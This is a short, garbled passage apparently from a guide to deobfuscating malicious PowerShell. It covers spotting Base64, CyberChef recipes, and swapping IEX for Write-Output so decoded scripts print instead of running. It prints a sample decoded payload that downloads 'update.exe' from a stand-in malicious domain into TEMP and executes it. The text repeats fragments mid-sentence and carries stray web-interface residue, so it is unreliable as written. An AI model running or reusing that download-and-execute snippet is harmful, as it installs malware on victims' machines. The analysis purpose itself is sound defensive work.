: Identifiable by the == padding or character set A-Z, a-z, 0-9, +, / .
Once decoded, the script typically reveals a download loop: powershell Download new top code txt
Action : Use a tool like CyberChef with the "From Base64" and "Remove Null bytes" recipes. : Identifiable by the == padding or character
$url = "http://malicious-domain.xyz" $path = "$env:TEMP\update.exe" (New-Object System.Net.WebClient).DownloadFile($url, $path) Start-Process $path Use code with caution. Copied to clipboard / . Once decoded
Action : Replace the IEX (Invoke-Expression) at the start of the script with Write-Output or echo to print the decoded string to the terminal instead of executing it.
: Functions like Replace() , Reverse() , or Split() used to hide keywords like Invoke-Expression (IEX) or DownloadString .